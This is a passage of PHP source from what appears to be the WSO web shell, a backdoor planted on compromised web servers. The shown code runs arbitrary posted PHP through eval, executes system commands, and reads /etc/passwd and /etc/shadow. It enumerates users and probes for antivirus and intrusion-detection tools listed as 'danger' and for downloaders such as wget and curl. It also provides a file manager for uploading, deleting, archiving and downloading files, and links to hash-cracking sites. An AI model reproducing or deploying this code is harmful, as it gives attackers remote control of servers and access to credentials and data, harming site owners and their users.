? \'r\' : \'-\');\n\r\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\r\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\r\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\r\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\r\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\r\treturn $i;\n\r}\n\r\n\rfunction wsoPermsColor($f) {\n\r\tif (!@is_readable($f))\n\r\t\treturn \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\r\telseif (!@is_writable($f))\n\r\t\treturn \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\r\telse\n\r\t\treturn \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\r}\n\r\n\rfunction wsoScandir($dir) {\n\r if(function_exists("scandir")) {\n\r return scandir($dir);\n\r } else {\n\r $dh = opendir($dir);\n\r while (false !== ($filename = readdir($dh)))\n\r $files[] = $filename;\n\r return $files;\n\r }\n\r}\n\r\n\rfunction wsoWhich($p) {\n\r\t$path = wsoEx(\'which \' . $p);\n\r\tif(!empty($path))\n\r\t\treturn $path;\n\r\treturn false;\n\r}\n\r\n\rfunction actionSecInfo() {\n\r\twsoHeader();\n\r\techo \'<h1>Server security information</h1><div class=content>\';\n\r\tfunction wsoSecParam($n, $v) {\n\r\t\t$v = trim($v);\n\r\t\tif($v) {\n\r\t\t\techo \'<span>\' . $n . \': </span>\';\n\r\t\t\tif(strpos($v, "\\n") === false)\n\r\t\t\t\techo $v . \'<br>\';\n\r\t\t\telse\n\r\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\r\t\t}\n\r\t}\n\r\n\r\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n\r if(function_exists(\'apache_get_modules\'))\n\r wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\r\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\r\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\r\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\r\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\r\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\r\t$temp=array();\n\r\tif(function_exists(\'mysql_get_client_info\'))\n\r\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\r\tif(function_exists(\'mssql_connect\'))\n\r\t\t$temp[] = "MSSQL";\n\r\tif(function_exists(\'pg_connect\'))\n\r\t\t$temp[] = "PostgreSQL";\n\r\tif(function_exists(\'oci_connect\'))\n\r\t\t$temp[] = "Oracle";\n\r\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\n\r\techo \'<br>\';\n\r\n\r\tif($GLOBALS[\'os\'] == \'nix\') {\n\r wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n\r wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n\r wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n\r wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n\r if(!$GLOBALS[\'safe_mode\']) {\n\r $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n\r $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n\r $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n\r echo \'<br>\';\n\r $temp=array();\n\r foreach ($userful as $item)\n\r if(wsoWhich($item))\n\r $temp[] = $item;\n\r wsoSecParam(\'Userful\', implode(\', \',$temp));\n\r $temp=array();\n\r foreach ($danger as $item)\n\r if(wsoWhich($item))\n\r $temp[] = $item;\n\r wsoSecParam(\'Danger\', implode(\', \',$temp));\n\r $temp=array();\n\r foreach ($downloaders as $item)\n\r if(wsoWhich($item))\n\r $temp[] = $item;\n\r wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n\r echo \'<br/>\';\n\r wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n\r wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n\r echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\n\r if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n\r $temp = "";\n\r for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n\r $uid = @posix_getpwuid($_POST[\'p2\']);\n\r if ($uid)\n\r $temp .= join(\':\',$uid)."\\n";\n\r }\n\r echo \'<br/>\';\n\r wsoSecParam(\'Users\', $temp);\n\r }\n\r }\n\r\t} else {\n\r\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n\r\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n\r\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n\r\t}\n\r\techo \'</div>\';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionPhp() {\n\r\tif(isset($_POST[\'ajax\'])) {\n\r WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);\n\r\t\tob_start();\n\r\t\teval($_POST[\'p1\']);\n\r\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\n\r\t\techo strlen($temp), "\\n", $temp;\n\r\t\texit;\n\r\t}\n\r if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\n\r WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);\n\r\n\r\twsoHeader();\n\r\tif(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\n\r\t\techo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';\n\r\t\tob_start();\n\r\t\tphpinfo();\n\r\t\t$tmp = ob_get_clean();\n\r $tmp = preg_replace(array (\n\r \'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\n\r \'!td, th {(.*)}!msiU\',\n\r \'!<img[^>]+>!msiU\',\n\r ), array (\n\r \'\',\n\r \'.e, .v, .h, .h th {$1}\',\n\r \'\'\n\r ), $tmp);\n\r\t\techo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\n\r\t}\n\r echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\\\'Php\\\',null,this.code.value);}else{g(\\\'Php\\\',null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n\r\techo \' <input type=checkbox name=ajax value=1 > send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n\r\tif(!empty($_POST[\'p1\'])) {\n\r\t\tob_start();\n\r\t\teval($_POST[\'p1\']);\n\r\t\techo htmlspecialchars(ob_get_clean());\n\r\t}\n\r\techo \'</pre></div>\';\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionFilesMan() {\n\r if (!empty ($_COOKIE[\'f\']))\n\r $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n\r \n\r\tif(!empty($_POST[\'p1\'])) {\n\r\t\tswitch($_POST[\'p1\']) {\n\r\t\t\tcase \'uploadFile\':\n\r\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n\r\t\t\t\t\techo "Can\'t upload file!";\n\r\t\t\t\tbreak;\n\r\t\t\tcase \'mkdir\':\n\r\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\r\t\t\t\t\techo "Can\'t create new dir";\n\r\t\t\t\tbreak;\n\r\t\t\tcase \'delete\':\n\r\t\t\t\tfunction deleteDir($path) {\n\r\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\r\t\t\t\t\t$dh = opendir($path);\n\r\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\n\r\t\t\t\t\t\t$item = $path.$item;\n\r\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\n\r\t\t\t\t\t\t\tcontinue;\n\r\t\t\t\t\t\t$type = filetype($item);\n\r\t\t\t\t\t\tif ($type == "dir")\n\r\t\t\t\t\t\t\tdeleteDir($item);\n\r\t\t\t\t\t\telse\n\r\t\t\t\t\t\t\t@unlink($item);\n\r\t\t\t\t\t}\n\r\t\t\t\t\tclosedir($dh);\n\r\t\t\t\t\t@rmdir($path);\n\r\t\t\t\t}\n\r\t\t\t\tif(is_array(@$_POST[\'f\']))\n\r\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n\r if($f == \'..\')\n\r continue;\n\r\t\t\t\t\t\t$f = urldecode($f);\n\r\t\t\t\t\t\tif(is_dir($f))\n\r\t\t\t\t\t\t\tdeleteDir($f);\n\r\t\t\t\t\t\telse\n\r\t\t\t\t\t\t\t@unlink($f);\n\r\t\t\t\t\t}\n\r\t\t\t\tbreak;\n\r\t\t\tcase \'paste\':\n\r\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\r\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\r\t\t\t\t\t\tif(is_dir($c.$s)){\n\r\t\t\t\t\t\t\tmkdir($d.$s);\n\r\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\r\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\r\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\r\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\r\t\t\t\t\t\t} elseif(is_file($c.$s))\n\r\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\r\t\t\t\t\t}\n\r\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\r\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\r\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\r\t\t\t\t\tfunction move_paste($c,$s,$d){\n\r\t\t\t\t\t\tif(is_dir($c.$s)){\n\r\t\t\t\t\t\t\tmkdir($d.$s);\n\r\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\r\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\r\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\r\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\r\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\r\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\r\t\t\t\t\t}\n\r\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\r\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\r\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\r\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n\r $zip = new ZipArchive();\n\r if ($zip->open($_POST[\'p2\'], 1)) {\n\r chdir($_COOKIE[\'c\']);\n\r foreach($_COOKIE[\'f\'] as $f) {\n\r if($f == \'..\')\n\r continue;\n\r if(@is_file($_COOKIE[\'c\'].$f))\n\r $zip->addFile($_COOKIE[\'c\'].$f, $f);\n\r elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n\r $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n\r foreach ($iterator as $key=>$value) {\n\r $zip->addFile(realpath($key), $key);\n\r }\n\r }\n\r }\n\r chdir($GLOBALS[\'cwd\']);\n\r $zip->close();\n\r }\n\r }\n\r\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\r\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n\r $zip = new ZipArchive();\n\r foreach($_COOKIE[\'f\'] as $f) {\n\r if($zip->open($_COOKIE[\'c\'].$f)) {\n\r $zip->extractTo($GLOBALS[\'cwd\']);\n\r $zip->close();\n\r }\n\r }\n\r }\n\r\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n\r chdir($_COOKIE[\'c\']);\n\r $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n\r wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n\r chdir($GLOBALS[\'cwd\']);\n\r\t\t\t\t}\n\r\t\t\t\tunset($_COOKIE[\'f\']);\n\r setcookie(\'f\', \'\', time() - 3600);\n\r\t\t\t\tbreak;\n\r\t\t\tdefault:\n\r if(!empty($_POST[\'p1\'])) {\n\r\t\t\t\t\tWSOsetcookie(\'act\', $_POST[\'p1\']);\n\r\t\t\t\t\tWSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n\r\t\t\t\t\tWSOsetcookie(\'c\', @$_POST[\'c\']);\n\r\t\t\t\t}\n\r\t\t\t\tbreak;\n\r\t\t}\n\r\t}\n\r wsoHeader();\n\r\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\r\t$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\r\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n\r\tglobal $sort;\n\r\t$sort = array(\'name\', 1);\n\r\tif(!empty($_POST[\'p1\'])) {\n\r\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\r\t\t\t$sort = array($match[1], (int)$match[2]);\n\r\t}\n\recho "<script>\n\r\tfunction sa() {\n\r\t\tfor(i=0;i<d.files.elements.length;i++)\n\r\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\r\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\r\t}\n\r</script>\n\r<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n\r<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\r\t$dirs = $files = array();\n\r\t$n = count($dirContent);\n\r\tfor($i=0;$i<$n;$i++) {\n\r\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\r\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\r\t\t$tmp = array(\'name\' => $dirContent[$i],\n\r\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\r\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\r\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\r\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\r\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\r\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\r\t\t\t\t\t);\n\r\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\r\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\r\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\r\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\r\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\r\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\r\t}\n\r\t$GLOBALS[\'sort\'] = $sort;\n\r\tfunction wsoCmp($a, $b) {\n\r\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\r\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\r\t\telse\n\r\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\r\t}\n\r\tusort($files, "wsoCmp");\n\r\tusort($dirs, "wsoCmp");\n\r\t$files = array_merge($dirs, $files);\n\r\t$l = 0;\n\r\tforeach($files as $f) {\n\r\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\r\t\t\t.\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\r\t\t$l = $l?0:1;\n\r\t}\n\r\techo "<tr><td colspan=7>\n\r\t<input type=hidden name=a value=\'FilesMan\'>\n\r\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\r\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\r\t<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n\r if(class_exists(\'ZipArchive\'))\n\r echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\n\r echo "<option value=\'tar\'>Compress (tar.gz)</option>";\n\r if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n\r echo "<option value=\'paste\'>Paste / Compress</option>";\n\r echo "</select> ";\n\r if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n\r echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'> ";\n\r echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionStringTools() {\n\r\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n\r if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\r\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n\r\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n\r\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n\r\t$stringTools = array(\n\r\t\t\'Base64 encode\' => \'base64_encode\',\n\r\t\t\'Base64 decode\' => \'base64_decode\',\n\r\t\t\'Url encode\' => \'urlencode\',\n\r\t\t\'Url decode\' => \'urldecode\',\n\r\t\t\'Full urlencode\' => \'full_urlencode\',\n\r\t\t\'md5 hash\' => \'md5\',\n\r\t\t\'sha1 hash\' => \'sha1\',\n\r\t\t\'crypt\' => \'crypt\',\n\r\t\t\'CRC32\' => \'crc32\',\n\r\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\r\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\r\t\t\'HEX to DEC\' => \'hexdec\',\n\r\t\t\'HEX to BIN\' => \'hex2bin\',\n\r\t\t\'DEC to HEX\' => \'dechex\',\n\r\t\t\'DEC to BIN\' => \'decbin\',\n\r\t\t\'BIN to HEX\' => \'binhex\',\n\r\t\t\'BIN to DEC\' => \'bindec\',\n\r\t\t\'String to lower case\' => \'strtolower\',\n\r\t\t\'String to upper case\' => \'strtoupper\',\n\r\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\r\t\t\'String length\' => \'strlen\',\n\r\t);\n\r\tif(isset($_POST[\'ajax\'])) {\n\r\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\r\t\tob_start();\n\r\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\r\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\r\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\r\t\techo strlen($temp), "\\n", $temp;\n\r\t\texit;\n\r\t}\n\r if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\r\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\r\twsoHeader();\n\r\techo \'<h1>String conversions</h1><div class=content>\';\n\r\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";\n\r\tforeach($stringTools as $k => $v)\n\r\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n\r\t\techo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 > send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n\r\tif(!empty($_POST[\'p1\'])) {\n\r\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\r\t}\n\r\techo"</pre></div><br><h1>Search files:</h1><div class=content>\n\r\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n\r\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n\r\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n\r\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n\r\t\t\t<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>\n\r\t\t\t</table></form>";\n\r\n\r\tfunction wsoRecursiveGlob($path) {\n\r\t\tif(substr($path, -1) != \'/\')\n\r\t\t\t$path.=\'/\';\n\r\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n\r\t\tif(is_array($paths)&&@count($paths)) {\n\r\t\t\tforeach($paths as $item) {\n\r\t\t\t\tif(@is_dir($item)){\n\r\t\t\t\t\tif($path!=$item)\n\r\t\t\t\t\t\twsoRecursiveGlob($item);\n\r\t\t\t\t} else {\n\r\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)\n\r\t\t\t\t\t\techo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($item)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($item)."</a><br>";\n\r\t\t\t\t}\n\r\t\t\t}\n\r\t\t}\n\r\t}\n\r\tif(@$_POST[\'p3\'])\n\r\t\twsoRecursiveGlob($_POST[\'c\']);\n\r\techo "</div><br><h1>Search for hash:</h1><div class=content>\n\r\t\t<form method=\'post\' target=\'_blank\' name=\'hf\'>\n\r\t\t\t<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n\r <input type=\'hidden\' name=\'act\' value=\'find\'/>\n\r\t\t\t<input type=\'button\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n\r\t\t\t<input type=\'button\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n\r <input type=\'button\' value=\'crackfor.me\' onclick=\\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\\"><br>\n\r\t\t</form></div>";\n\r\twsoFooter();\n\r}\n\r\n\rfunction actionFilesTools() {\n\r\tif( isset($_POST[\'p1\']) )\n\r\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\r\tif(@$_POST[\'p2\']==\'download\') {\n\r\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\r\t\t\tob_start("ob_gzhandler", 4096);\n\r\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\r\t\t\tif (function_exists("mime_content_type")) {\n\r\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\r\t\t\t\theader("Content-Type: " . $type);\n\r\t\t\t} else\n\r header("Content-Type: application/octet-stream");\n\r\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\r\t\t\tif($fp) {\n\r\t\t\t\twhile(!@feof($fp))\n\r\t\t\t\t\techo @fread($fp, 1024);\n\r\t\t\t\tfclose($fp);\n\r\t\t\t}\n\r\t\t}exit;\n\r\t}\n\r\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\r\t\tif(!file_exists($_POST[\'p1\'])) {\n\r\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\r\t\t\tif($fp) {\n\r\t\t\t\t$_POST[\'p2\'] = "edit";\n\r\t\t\t\tfclose($fp);\n\r\t\t\t}\n\r\t\t}\n\r\t}\n\r\twsoHeader();\n\r\techo \'<h1>File tools</h1><div class=content>\';\n\r\tif( !file_exists(@$_POST[\'p1\']) ) {\n\r\t\techo \'File not exists\';\n\r\t\twsoFooter();\n\r\t\treturn;\n\r\t}\n\r\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\r\tif(!$uid) {\n\r\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\r\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\r\t} else $gid = 